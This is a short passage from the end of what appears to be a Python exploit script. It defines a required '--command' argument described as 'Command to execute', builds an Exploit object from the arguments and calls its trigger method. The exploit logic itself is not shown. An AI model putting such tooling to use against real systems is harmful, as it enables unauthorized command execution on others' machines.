    parser.add_argument('--command', help='Command to execute', required=True)
    exploit = Exploit(parser.parse_args())
    exploit.trigger()

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